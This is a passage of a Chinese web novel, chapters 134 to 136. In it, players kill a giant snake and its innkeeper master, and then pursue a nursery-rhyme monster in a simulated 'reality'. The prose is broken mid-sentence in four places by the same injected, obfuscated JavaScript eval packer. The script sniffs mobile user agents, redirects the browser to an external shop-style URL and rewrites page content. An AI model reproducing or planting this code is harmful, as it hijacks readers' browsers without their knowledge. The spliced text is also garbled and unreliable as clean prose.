一道扭曲的笛声炸开,初与序只觉得颅骨内突然灌进滚烫的铅水。视野瞬间模糊,耳膜传来撕裂般的剧痛。她后退两步,膝盖一软差点跪倒。 赵禾的身影闪到她身侧,扶住她下坠的身体。而就在这时,老板的手已经撕破空气抓向初与序的咽喉。 “啪!”一声,紫鞭抽在老板手腕上,带起一蓬血雾,白闽手一抖,长鞭缠上老板脖颈。 老板不躲不避,任由鞭子勒紧喉咙。他嘴角扯出一个笑容,骨笛突然转向,对准白闽吹出一个尖锐的音符。 鞭子顿时脱手,白闽嘴角溢出鲜血。 初与序强忍眩晕推开赵禾,一个翻滚拾起地上的短刀。老板的手已经袭至白闽面门,眼看就要贯穿她的眼球。 赵禾一把扣住他的手腕,硬生生拦住他。老板惊愕地发现,这孩子的力量竟与自己不相上下。 身后,初与序忽然冒出,短刀刀尖划过老板腰腹,鲜血喷涌而出时,他手中的骨笛发出凄厉的哀鸣,笛声上的蛇鳞纹路疯狂闪烁。 他忽然暴起发力,伸手抓向初与序心口。初与序短刀横斩,被老板挡下。白闽的鞭子从侧面抽来,缠住他的手臂,赵禾则抬起一脚踹向他膝盖。 老板跪倒在地,但右手仍死死攥着骨笛。初与序的短刀立刻抵上了他咽喉,刀尖刺入皮肤,一缕鲜血顺着脖颈滑下。 她伸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756048|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,正要夺下骨笛。 老板突然露出一个诡异的笑,染血的唇再次贴上骨笛。 “呜————” 一道从未听过的诡异笛声炸开,不似先前的嘶哑尖锐,而是如同深渊之中传来的古老低吟,带着某种令人毛骨悚然的共鸣。 三人同时愣住,这声音像是直接刺入灵魂,让全身血液都为之冻结,整座旅馆的温度猛然下降。 “快……”赵禾最先反应过来,但她的警告还未说完。 “轰隆!!”一声,旅馆二楼的木质天花板突然塌陷,一条比廊柱还粗壮的青黑色蛇尾坡顶而下,裹着碎石木屑狠狠砸在地面上!整栋建筑剧烈震动,三人被冲击波狠狠掀飞出去。 初与序在撞上墙壁前调整姿势,短刀插进地板才止住退势;白闽的紫鞭缠出吊灯才勉强稳住身形;赵禾则在空中翻转后单膝落地,稳稳站好。 烟尘弥漫中,巨蛇的上半身盘踞在破碎的二楼废墟上,居高临下地盯着下面三人,而被它护在身后的老板正踉跄着爬起,骨笛上的蛇鳞纹再一次疯狂闪烁。 幸运的是,他们在楼下布置的陷阱还在。 巨蛇冰冷地扫过老板,喉咙里发出低沉的嘶鸣:“嘶。(废物)” 老板脸色发白,却抿着唇没有反驳,只是握紧了手中的骨笛。 巨蛇不再理会他,庞大的身躯缓缓游动。它居高临下地俯视着三人,蛇尾如闪电般扫出! 白闽根本来不及反应,整个人被蛇尾卷住腰腹,猛地举到半空。窒息感瞬间袭来,她挣扎着甩出鞭子,可鞭子抽在鳞片上,只迸出几点火星。 初与序的短刀脱手,寒光直取巨蛇左眼。 巨蛇偏头避开,刀锋擦过鳞片,带出一串火花。它嘶吼一声,蛇尾狠狠一甩! 白闽被砸向墙壁,在即将撞上的上一秒,赵禾飞身扑去,用自己的身躯当缓冲垫。两人重重摔在地上,白闽咳出一口血。 初与序趁机捡回短刀,却见巨蛇已经调转方向,蛇头朝她撞来。她翻滚躲开,原先的地板被撞出一个大洞。 随后她爬起来就往一楼跑,巨蛇果然追来,庞大的身躯碾过走廊,墙壁坍塌。赵禾撑起白闽,两人跟在后面。 巨蛇的尾巴再次横扫过来,初与序不退反进,在蛇尾即将击中她的上一秒矮身,短刀在手中一转,刀尖朝上,借着蛇尾扫过的冲势狠狠刺入鳞片缝隙。 巨蛇吃痛,发出一声震耳欲聋的嘶吼,蛇尾疯狂甩动。初与序死死握住刀柄,将伤口撕扯得更大。 巨蛇猛地扭头看向站在一边的老板,蛇信狂躁地吞吐:“嘶嘶嘶!(愣着干嘛?吹笛子啊!)” 老板立刻将骨笛抵在唇边,这一次笛声的音调更加尖锐,仿佛无数钢针直接刺入三人的大脑。 白闽捂着耳朵跪倒在地,鲜血从指缝间渗出。赵禾咬牙想要冲上前,却被无心的音波震退数步。初与序眼前一黑,握刀的手不由自主地松了力道。 巨蛇趁机猛地甩尾,将她连人带刀甩飞出去。随后立刻调转方向,血盆大口朝她笼罩而来。 134.蟒蛇旅馆(完) 下一秒,白闽强忍脑中笛声带来的剧痛,猛地翻滚到角落,抓起那几瓶装满腐肉硫磺药剂的玻璃瓶,随后她用尽全力将玻璃瓶砸向走廊墙壁。 玻璃爆开的下一秒,浓稠的恶臭药剂如暴雨般泼洒开来。刺鼻的硫磺味混合着腐烂的腥臭,瞬间弥漫了整个空间,空气中仿佛凝出了肉眼可见的黄色雾霭。 巨蛇的动作猛地僵住,它那分叉的蛇信在空中剧烈颤抖,金黄竖瞳急速收缩。这种混合了硫磺的腐臭对蛇类的嗅觉简直是毁灭性打击。 “嘶——!!” 一声痛苦的嘶鸣响彻旅馆,巨蛇彻底失控了。它庞大的身躯疯狂扭动,蛇尾横扫走廊,木质墙壁快速坍塌。碎裂的木板和砖石四处飞溅,一根断裂的房梁直接砸向老板所在的位置。 老板飞快翻滚躲避,笛声戛然而止。他苍白的脸上第一次露出惊讶,失控的巨蛇几乎分不清敌我。 巨蛇在剧痛中疯狂翻滚,庞大的身躯正好碾过陷阱所在的位置。 初与序和赵禾同时发力,隐藏在阴影中的麻绳猛地绷紧!浸泡过油脂的绳索发出吱呀声,但铁钩依然精准地勾住了蛇腹最柔软的那片鳞甲。 皮肉撕裂声响彻大厅,铁钩深深嵌入蛇腹,随着两人全力拉扯,巨蛇的腹部被硬生生撕开一道狰狞的伤口。青黑色的蛇血如瀑布般喷涌而出,溅在墙壁地板上,发出“滋滋”的腐蚀声。 “啊啊啊啊—!” 巨蛇发出前所未有的惨嚎,整个身躯痉挛般扭曲,蛇尾扫塌了最后一堵完好的墙。 而在这混乱的烟尘中,谁也没注意到,那条吃货眼镜蛇悄无声息地从通风管钻出,游到自己主人身后,蛇尾灵巧地卷住他腰间晃动的骨笛,轻轻一拽。 老板正全神贯注地想要重新控制巨蛇,突然觉得腰间一轻。他猛地回头,却只看到眼镜蛇叼着骨笛迅速游走的背影。 眼镜蛇蹿到初与序脚边,仰头将骨笛塞进她染血的手中,还邀功似的用脑袋蹭了蹭她的手背。 “喂!到底谁是你的主人!”老板气得大骂。 初与序握紧骨笛,笛身沾染的蛇血正顺着她的指缝滴落。而面前,重伤的巨蛇和老板同时将目光锁定了她。 她双手攥紧骨笛,试图硬生生掰断,可那惨白的蛇骨笛身却纹丝不动,甚至连一道裂痕都没出现。 “没用的。”老板的声音从身后传来,脚步声越来越近,“凭人类的力气,根本掰不断它。” 初与序头也不回,转身就往旅馆外冲,给另外两人留下一句话:“你们拖住蛇,笛子交给我!” 白闽抹了把脸上的血,紫鞭一甩缠住巨蛇的伤口,借力跃上蛇背。赵禾早已会意,抄起地上尖锐的木桩,一个翻滚逼近蛇腹。巨蛇疯狂扭动,却被白闽的鞭子死死牵制住头部。 另一边,初与序朝着山林深处的悬崖狂奔。夜风裹着血腥气灌入肺中。 既然掰不断,那就用别的方法。这里有悬崖,只要将骨笛从高处抛下,让它撞上崖底的岩石,冲击力足以震碎这东西。即使震碎不了,失去了骨笛的老板,也讨不到什么好处。 夜风呼啸,悬崖边的碎石在初与序脚下簌簌滚落,坠入深不见底的黑暗。 初与序站在悬崖边几米外,夜风卷起她的衣摆。她手里攥着那支惨白骨笛,笛身上的蛇鳞纹路在月光下泛着青光。五步之外,老板脖颈处的皮肤已经明显浮现出蛇鳞纹路。 “把笛子还给我。”他的声音不再温润,带着怒意,“我可以让你死得痛快点。” 初与序没有废话,飞速冲到悬崖边,伸手就要把骨笛扔下去,手腕猛地一凉。老板的手死死扣住她的腕骨,力道大得快捏碎她的骨头。 骨笛脱手坠落,却在半空被老板另一只手凌空接住。 初与序抬起膝盖,狠狠顶向他腹部,同时右手成刀劈向他咽喉。老板侧头躲避,骨笛划过她肩膀,带出一道血痕。 两人在悬崖边搏斗,每一个动作都凌厉如刀。初与序的手肘撞向老板心口,他闷哼一声后退半步,已经踩到悬崖边上的碎石。初与序趁机扬起短刀,刚要刺入。 老板却猛地拽住她衣领,将她推向悬崖之外! 风声呼啸,千钧一发之际,初与序反手抓住悬崖边突出的树根,借力一个翻身,稳稳落回地面。 老板立刻举起骨笛,放到唇边,在他吹响骨笛的前一秒,初与序已经抬腿重重踹在他膝窝。 老板被踹得跪地,却仍死死攥着骨笛。初与序趁机上前,膝盖压住他的脊背,一手扣住他的手腕,另一只手狠狠劈向他肘关节。 骨笛终于脱手滚落,被初与序一把抄起。 她毫不犹豫地将骨笛抛向深渊,银白色的笛声在月光中翻转下坠,最终消失在黑暗里。 两人同时停住动作,静静等待着结果。 夜风卷着骨笛坠向深渊,素描后,远处传来一声轻微的碎裂声。 几乎同一时刻,旅馆方向传来巨蛇撕心裂肺的哀嚎,那声音震得山林颤动,惊起一片飞鸟。 初与序放下心来,缓缓吐出一口气,松开了钳制。 月光下,老板皮肤上的蛇鳞纹路正如潮水般褪去,露出俊美的面容。他面无表情地撑起身子,眼底却第一次浮现出……释然? 另一头,旅馆大厅早已沦为废墟,月光从坍塌的屋顶倾泻而下,照亮了巨蛇痛苦扭曲的身躯。 白闽的紫鞭缠绕在巨蛇的七寸处,鞭子的倒刺深深扎进鳞片缝隙。她双臂绷紧,却仍被巨蛇挣扎的力量拖得踉跄前行。 “江湖救急!赵禾!” 赵禾从断梁下跃下,她没有武器,双手直接扣住了巨蛇溃烂的腹部伤口,手指狠狠插进血肉。 巨蛇发出嘶吼,蛇尾疯狂拍打地面。白闽被甩到半空,落地时一个翻滚卸力,鞭身勒得更紧。 “左边肋下!”赵禾喊道,她的右手已经探进蛇腹,摸到凸起的骨节,“逆鳞在这里!” 白闽立刻松开长鞭,巨蛇因惯性后仰,她如离弦之箭般冲向赵禾所指的位置。紫鞭的握柄被她当作短矛,全力刺入那片泛着青光的逆鳞。 巨蛇的竖瞳骤然扩散。 时间仿佛静止了一秒。 随后,它庞大的身躯如崩塌的山岳般重重砸落。青黑色的鳞片迅速褪去,蛇嘴大张着,却再也没能发出声音。 夜风拂过悬崖,初与序站在月光下,静静地看着跪坐在悬崖边的老板。 他皮肤上的蛇鳞纹路已经完全褪去,苍白的脸上只剩下疲惫。那双曾经幽绿的竖瞳,此刻也恢复了人类的模样,只是眼底仍带着挥之不去的阴郁。 一滴泪从他眼尾滑落,砸在石面上,碎成水光。 “喂,初与序。我快死了,和你说说话吧。”老板竟然这么说道。 初与序有些意外,还是平静地点了点头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756049|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你知道那天晚上…”他的声音沙哑,“我看着它吞掉整个村子时,我在想什么吗?” 初与序站在三步之外,黑大衣被风掀起一角。她的手垂在身侧,还死死攥着短刀。 “我躲在井底,听着我弟弟的惨叫。”老板的声音哽住,喉结滚动几下,“他当时才八岁…当我爬出来时,只找到他一片衣角。” “全村只活了我一个人。我剖开它的脊背,取出骨头,可自己也快死了。”他苦笑了一下,“我想着,我不能死,我还没报仇。” “后来,我假装和它合作,想着总有一天能找到机会杀了它。可渐渐地……我发现,我已经和它没什么区别了。” 他的语气平静到几乎麻木:“我这一生,就只是为了复仇活着。我不想这样,但我没有办法了。” “你恨它,可以理解。”初与序语气没有波澜:“所以你让更多弟弟失去哥哥,更多孩子失去父母?” “你以为我想当怪物?”老板猛地转头看向她,“我试过所有方法!用火烧,用毒药,甚至……”他的声音低下去,“甚至想过和它同归于尽。” 月光照在他颤抖的脊背上,投下一片扭曲的阴影。 “但你选了最回不了头的路。”初与序冷冷道,“用活人喂养它,用亡魂束缚它。一百多年来,你害死的人比它吞掉的还多。” 老板沉默了片刻,轻轻点头:“你说得对。”他抬眼,月光照在他惨白的脸上,“你可以杀我了。” 初与序摇头,没说话。 老板突然笑了:“那你在这待着干什么?你不是等着杀我吗?” “我等着亲眼看你死,这样才放心。”初与序淡淡道,“能不杀人,我就不杀。” 老板的笑容里带着几分讥讽:“我猜你手上的人命也不少,何必在意我一个?”他缓缓站起身,他后退一步,脚跟悬在崖边,“你骨子里,也挺伪善的。” 初与序面无表情看着他,不置可否:“和往事说再见吧。” 老板深深地看了她一眼,嘴角勾起一个古怪的弧度:“初与序,你可真奇怪。” 说完,他向后倒去,身影瞬间被悬崖下的黑暗吞噬。 崖底隐约传来沉闷的撞击声,初与序站在原地没动,夜风吹起她的发丝,露出颈侧那道又加深了一分的伤疤。远处,第一缕晨光刺破云层,照在旅馆残破的屋顶上。那些被束缚的亡魂,终于化作点点荧光消散在黎明中。 她转身离开,没再回头。 【恭喜各位玩家通关副本《蟒蛇旅馆》。】 【多年后,晨雾缭绕的山间,一座崭新的木屋静静立着。偶尔有路过的旅人在这里歇脚,老板会端上热茶,讲述一个关于“骨笛与巨蛇”的古老传说。没人知道故事里有多少真实,但每个听完的人,都会不自觉地看向深山。】 【那里仍有蛇群游走,却再不曾伤人。】 【而有时,在月圆之夜,守夜人信誓旦旦地说,曾见过一条青黑色的眼镜蛇盘踞在院落的石灯上。它不躲人,只是静静地望着山路尽头的悬崖,像是在等待谁。】 【而当黎明到来,它便悄然离去,只留下石灯下一小块馒头屑。】 【本次副本奖励已发放到各位玩家面板,可打开查看。】 【希望各位玩家在接下来的旅程中,永远记得——】 【有些仇恨该被斩断,而不是传承。】 135.意外任务 初与序踩着碎石和断木,走进旅馆废墟,月光透过残破的屋顶洒落,照亮一地狼藉。 白闽四仰八叉地躺在废墟中央,脸上盖着一块不知道从哪里扯来的破布,声音闷闷地传来:“累死了累死了累死了累死了……” 赵禾坐在一旁,面无表情地擦着衣服上的蛇血,听到脚步声抬头看了一眼,又低下头继续擦血。 初与序走过去,拉住白闽的胳膊,把人拖起来:“回去了。” “啊啊啊轻点!我腰要断了!”白闽哀嚎着,但还是借力站了起来,顺手拍了拍身上的灰,“那蛇可真难杀,幸好骨笛毁了。话说那老板呢?” “死了。”初与序淡淡道,转身朝外走去。白闽和赵禾对视一眼,默契地跟上。 远处,D019次列车静静地靠在山路上,车头的蒸汽在月光中缓缓升腾。J41靠在车门边,看见三人走来,挑了挑眉:“哟,你们三个竟然没把副本场景弄毁?这一次修理部的执行官都已经做好了重修副本的打算。” 白闽翻了个白眼:“这次已经很克制了好吗?”她侧过身指向旅馆方向,“不过那个旅馆需要执行官重修一下,被巨蛇一尾巴打塌了。” J41:“……” 初与序跟着赵禾登上列车,下一秒,她忽然看见空气中浮现无数透明的圆环。它们像水母般缓缓浮动,边缘泛着微弱的蓝光,密密麻麻填满了整个车厢。 她下意识去摸腰间的短刀。 “怎么了?”赵禾敏锐地察觉到她的异常。 初与序眨了眨眼,发现圆圈消失了。 空荡荡的车厢里,只有白闽哼着歌,和列车行驶时规律的哐当声。 “没事。”初与序松开握刀的手,脸色发白。 赵禾狐疑地扫视四周:“你看到什么了?” 初与序望着窗外飞逝的景色,副本的场景正在远去。那些圆圈的形状,和她时常在纸上无意识画下的,一模一样。 “眼花了。”她轻声道。 白闽停止哼歌,转头看向初与序:“太累了?不会是《蟒蛇旅馆》的影响吧?” 初与序摇摇头,没有说话。在无人看见的角落,她的手指正无意识地在膝盖上画着一个又一个的圆。 永冬之城的车站笼罩在灰蒙蒙的灯光下,现在天还没亮,整个站台人很少。初与序三人刚踏出车站,就被七八个玩家团团围住。初与序一眼认出其中几个屠宰场的成员,他们眼神阴鸷,手里攥着武器。 “初小姐好厉害啊。”为首的男人阴阳怪气地鼓起掌,“杀人连眼睛都不眨一下,动作可真快。我们请问一下,您是怎么做到可以这么面不改色地站在这里的?” 白闽奇怪地看了几人一眼:“你们大晚上梦游,说梦话呢?” 初与序淡淡道:“说清楚。” 人群里突然冲出来一个满脸疤痕的壮汉,他脖子上缠着厚厚的绷带,隐约渗着血:“装什么糊涂?两天前《雾林》副本,我们七个兄弟进去,六个被割了喉咙!”他指着初与序,“就是你干的!” “证据?”赵禾冷冰冰插话。 “那道疤!”壮汉喘着粗气,“月光地下我看得清清楚楚!就是她脖子右侧的疤!还有那把冰蓝色的短刀,我兄弟的血溅在上面,蓝刃染血的样子我这辈子忘不掉!” 初与序的手轻轻碰了碰自己的疤痕。白闽忍不住笑出声:“有意思。按系统规则,玩家根本不可能跨副本杀人。” “整座永冬之城,脖子那快有疤的只有初与序一眼!”一个带着兜帽的女人道,“敢做不敢认算什么本事?” 初与序皱眉:“我三天都在《蟒蛇旅馆》,和她们在一起。” “谁知道是不是你们串通好的!”另一个人叫嚣道,“我们可是亲眼看见你了!衣服、发型,连身高都和你现在一模一样!” 白闽歪了歪头:“按你们的说法,初与序不仅打破了系统规则,还能分身杀人?你们屠宰场的人是不是嗑什么药?” “少废话!”疤脸壮汉猛地抽出武器,“今天必须给个交代!” 就在冲突一触即发之际,一道厉喝传来:“住手!” A12带着几名执行官快步走来,脸色阴沉:“在永冬之城斗殴,想进处罚区是吧?” 屠宰场的人明显还是忌惮执行官的,但还是不甘心:“长官,她可杀了他们六个兄弟!” “系统记录显示初与序这三天确实在《蟒蛇旅馆》。”A12冷着脸呵斥,“你们闹够没有?最近惹的事还不够多?” 屠宰场的人面面相觑,最终在A12的威慑下悻悻离去。临走时,疤脸壮汉恶狠狠地瞪了初与序一眼:“这事没完!” 待他们走后,白闽转向初与序:“这到底是怎么回事?” 初与序摇了摇头,示意她也不清楚。 这已经是第三次了。第一次,是「向枝冥」出现在处理区,切断了他们运输通行卡的鱼线;第二次,是「u谷」出现在黑市,与随歌和冬逢初擦肩而过;而这一次,是「初与序」屠杀了屠宰场的玩家。 这些镜像般的存在正逐渐从阴影中走出,开始肆无忌惮地行动。他们不受系统管束,不遵循副本规则,甚至能自由穿梭于不同的副本之间。 问题是,到底有多少个这样的“第二个自己”?是所有玩家都有,还是只有特定几个人?而他们的目的到底是什么? 初与序望着远处D栋的灯光,忽然想起记忆碎片中冰蓝宫殿里的对话—— “你把她放进了阁楼。” “而现在,她消失了。” 白闽打了个哈欠,挥了挥手:“我回B栋补觉去了,你们也回D栋吧。” 夜色已深,初与序和赵禾刚走到D栋楼下,就看见随歌和向枝冥并肩蹲在雪地上。向枝冥叼着烟烦躁地抽着,看上去心情不佳。随歌双手托腮,看上去很想安慰他,但不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756050|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道怎么开口。 赵禾只看了一眼,就下了结论:“向枝冥估计又和安楚吵架了。” “他们到底有什么仇,能吵成这样?”初与序随口问道。 “谁知道呢。”赵禾耸耸肩,“话说也不对,他们在现实里要真有仇,为什么到了永冬之城还愿意组队?” 两人说着,就走到随歌和向枝冥面前。初与序环顾四周:“景明垂他们呢?” “还在副本里呢。”随歌搓了搓冻红的手,“明天晚上才能回来。” 他话音未落,S23突然从远处冲过来,在说话前按下腰间的监听屏蔽器:“江湖救急!” 没等几人反应过来,他压低声音:“上次屠宰场偷带出来的副本怪物,现在关押在处罚区…但是我刚不小心放跑了一只。” “现在永冬之城搜遍了都没找到,那怪物只可能逃去了现实。” “现实?!”随歌瞪大眼睛,“永冬之城和现实有相连通道?” “不是相连。”S23烦躁地抓了抓头发,“说是玩家回‘现实’时,其实只是进入了一个模拟现实的夹层空间,和真正的现实还隔着一层‘雾’,这个空间只是让永冬之城的副本更接近于现实素材,只有管理副本的执行官才能进去取材。” 他语速飞快:“而现在,那个怪物逃进了‘虚假的现实’,但如果系统知道我不小心放走了它,或者不抓回来,就会格式化处理我。”他声音罕见地带上恳求,“但是只有玩家能去‘现实’,执行官去不了。” “哦!你是想让我们几个去‘现实’帮你找回怪物?”随歌笑嘻嘻道,“那要是我们去了就不回来呢?” “我会收到抓捕成功的通知,然后把你们强行拉回。”S23面无表情看着几人。 向枝冥撇撇嘴:“那你也太缺德了!我们……” “别急!”S23立刻补充道,“当然我相信,比起虚假的‘现实’,你们会选择留在真实的永冬之城,毕竟…你们还有想调查的事情,不是吗?” 初与序没急着同意,平静道:“我们可以帮你,但我需要永冬之城所有副本的排列地图,外加一次队伍指定副本的进入权限。” S23一脸震惊地看着初与序:“副本排列是永冬之城核心机密!” 三人转身就要走,S23拦住他们:“等等!地图可以给,但永冬之城的副本是无限的,我只能提供部分区域的。” “成交。”初与序扬起唇角,“什么时候出发?” “现在。”S23伸出手,初与序犹豫了不到一秒,握住他的手。在接触的同时,她感觉掌心被什么尖锐的东西刺了一下。 那是一枚微型追踪器,正闪着微弱的蓝光。 “现在出发。”S23松开手,“我会暂时屏蔽你们的面板定位。注意,在‘现实’里不能使用武器。” “那走吧。”向枝冥耸耸肩,灭了烟,率先抬腿往前走去。 136.童谣敲门者 S23用“三人炸了副本”的借口,将他们带到了系统处罚区。他站在那扇泛着幽蓝光芒的穿越门前,打开面板,上面记着一行字: 【异常:“童谣敲门者”已突破副本屏障,入侵“现实”世界。】 “所以,逃出去的东西长什么样子?”随歌盯着面板上跳动的警报符号。 S23挑出一段模糊影像。画面中,一个穿着脏污围裙的苍白人形正以诡异的姿势爬行,所过之处门缝渗出黑色液体。它的脖颈扭曲成不可能的角度,没有五官的脸上只有一张裂到耳根的嘴。 “名字叫‘童谣敲门者’。”S23语速很快,“靠玩家念童谣触发现身,现在它寄生在现实的‘思念体’里了。” 向枝冥戳了戳面板:“这造型挺省布料啊,就一件破围裙?触发童谣是‘小兔子乖乖’那种?” “副本背景只给了前半段,后半段需要玩家自己搜查。”S23划出一段文字: 「妈妈的小钥匙……」 「打开门的秘密……」 「别让黑暗……」 (数据缺失) 初与序抱着胳膊:“现实世界没有系统,我们怎么对付它?” “两个弱点。”S23竖起手指,“强光照射能让它僵直,倒念完整童谣可以逼退它,但你们只有前半段童谣。”他顿了顿,“记住,它一定会寄生在充满执念的物体上,比如遗物、旧居这种。” “你们有三天时间。” “走。”初与序率先迈步,走入穿越门。 世界在瞬间撕裂、重组。 再睁眼时,他们来到了“现实”的网吧,眼前是昏暗的灯光、劣质的皮革沙发,和一排排亮着屏幕的电脑。空气里混杂着烟味、泡面味和廉价香薰的味道,以及空调启用的嗡嗡声。 随歌猛地咳嗽两声:“我操,这现实世界的空气,怎么比游戏里的毒雾还呛?” 初与序从口袋里摸出手机,打开定位:“……安徽,沿江西路?” 向枝冥笑道:“哟,随机到老家了?巧了,我也是安徽的。” 随歌瞪眼:“等等,你俩都是安徽的?咱三个人中就我一个是北京的?”他抓狂道,“靠!凭什么你们俩回老家,我直接跨省?” “没事儿。”向枝冥拍了拍他肩膀,“待会儿请你吃这儿的特色美食——山粉圆子烧肉,安慰一下你漂泊的心。” 初与序没加入两人的对话,她走到窗边,拉开一点窗帘。窗外是晨光笼罩的小城街道,只有零星几个高中生背着书包路过。她转过头,和另外两人说:“这地方我不算特别熟,不在我家附近。” “行吧。”随歌掏出手机查地图,“反正咱仨现在得搞清楚,怪物在哪儿?怎么抓?以及现实世界,可没有免死道具。” 网吧里几个通宵打游戏的少年瞥了他们一眼,又低头继续激战,显然把三人当作打游戏连跪后疯了说瞎话的人。 初与序拉上窗帘,重新坐回电脑前:“先查一下近期异常事件,比如儿童失踪、诡异噪音投诉、电路故障,锁定怪物的位置。” 另外两人一同开始查找,屏幕蓝光映照在她脸上,她十指飞快敲击,调出本地论坛、通报和社区投诉记录。 其中,有【半夜童谣】的关键词共三条,纺织厂家属院3号楼居民投诉“邻居孩子半夜唱歌,但家长否认”。有【电路异常】的记录在同一社区,近3晚有多户反映“电压不稳,灯泡莫名爆裂”。 向枝冥盯着屏幕:“这BOSS还挺聪明,专挑监控少的地方蹲。” 初与序放大地图:“纺织厂家属院,90年代建筑,监控覆盖率低,异常事件集中。”她关上电脑,“走吧,去那里调查。” 随歌叹气:“……不过走之前,我能先买包辣条吗?我已经好久没有吃过辣条了,永冬之城根本没有卖辣条的。” 初与序:“……” 向枝冥站起身,顺手从网吧前台买了三台便携式探照灯。三人推门而出,走入现实的晨光中。而远处,隐约有童声轻轻哼着不成调的旋律: “妈妈的小钥匙……” 随歌打了个哆嗦,加快了脚步。 这里虚假“现实”的时间流速和永冬之城的一样,距离初与序离开现实已经过去一个月多,现在是八月份,晨光带着燥热,蝉鸣在梧桐树间此起彼伏。三人站在小区门口,汗水把衣服打湿。 初与序脱掉灰色大衣:“人少,正好。” 家属院里零星有几个早起遛弯的老人,随歌整了整外套,挂上浮夸的笑容,朝一位正在抖被套的大妈走去。 “阿姨!”随歌隔老远就热情地喊,“咱们社区最近搞‘夏季送温暖’,您家有什么需要帮忙的不?” 大妈狐疑地打量他:“没听过啊?你这黄毛真是社区滴?” 随歌面不改色:“试点!试点!就咱们这片儿先搞。”说完,他顺势蹲下帮大妈拍打被套,簌簌叨叨,“对了,听说咱们这儿最近有小孩半夜闹腾?我们志愿者得登记下噪音扰民情况。” “我滴乖乖,可别提了!”大妈立刻压低声音,“三楼刘家的小孙子,非说半夜听见‘妈妈唱歌’。可老刘媳妇早就跟人跑了,哪来的妈?” “孩子做噩梦了吧?”随歌故作惊讶。 大妈摇头:“连着好几天了!居委会去问,老刘死活不认,说孩子胡说八道。”她突然警觉,“你们真是社区的?工作证我看看!” 随歌假装掏了掏口袋:“哎我证件落办公室了。那什么,姐你被子晒得真蓬松!” 他迅速撤退,留下大妈举着晾衣杆一脸茫然。 三人汇合,随歌压低声音:“确认了,有孩子半夜唱歌,或者听见妈妈唱童谣,但家长坚决否认。” 初与序沉思道:“和S23说的‘思念体’的触发条件吻合,宿主在无意识中召唤它。” “但我们现在根本不知道宿主是谁,没有任何线索。”向枝冥摊开手。 初与序思考片刻,开口:“去配电房,怪物的弱点和光有关,那么它活动会导致电路干扰。” 三人没有犹豫,避开晨练的老人,绕到小区角落的配电房。铁门挂着一把生锈的锁,向枝冥从路边捡了一根铁丝,捅了几下,锁“咔哒”弹开。 配电房里弥漫着灰尘和机油味,昏暗的灯光下,一排排电表整齐地排列着。初与序走向控制面板,手指在电表显示屏上快速滑动。 “最近三天,夜间用电峰值异常。”她说。 屏幕上,3栋2单元402室的数据格外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756051|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺眼: 【平时用电量】:日均5度(独居老人水平) 【近三夜用电量】:23:00-4:00,每小时飙升8度,总计超常消耗72度 随歌皱起眉头:“这户半夜开炼钢厂呢?” “更像是什么东西在干扰电路。”向枝冥盯着数据,“不出意外就是那什么童谣敲门者。” “一会去看看不就行了。”随歌耸耸肩。 初与序关闭屏幕,和两人飞快离开,配电房的门锁在他们身后主动扣上。 三人偷偷往3栋方向走去,刚拐过绿化带,就见一边的物业办公室里,一个裹着褪色军大衣的中年男人端着搪瓷缸喝茶,时不时往这边瞟两眼。 “喂,你们说他不会叫住我们吧?”随歌用气音说。 下一秒,办公室门被推开,物业眯眼盯着他们:“你们几个,鬼鬼祟祟的干嘛呢?” 随歌:“……” 三人对视一眼,立刻明白过来对方的意思。随歌大步流星走向物业面前,笑容灿烂:“叔叔好!我们是那边大学学生会的,来做社区适老化改造调研!” 物业看着他:“学生证看看?” “哎呀您看我这记性!”随歌一拍脑门,转头对着向枝冥喊,“班长!把咱们的介绍信拿来!” 向枝冥翻了个白眼,慢悠悠晃过来:“老师盖章的那份在你这儿吧?” 同一时刻,物业室内,初与序悄无声息地从侧窗翻了进去。老旧的暖气片发出“咔嗒”轻响,她立刻停住脚步。 物业狐疑地朝声源处看了一眼,随歌赶紧开口吸引他的注意力:“我们特别关注老年住户的用电安全!” 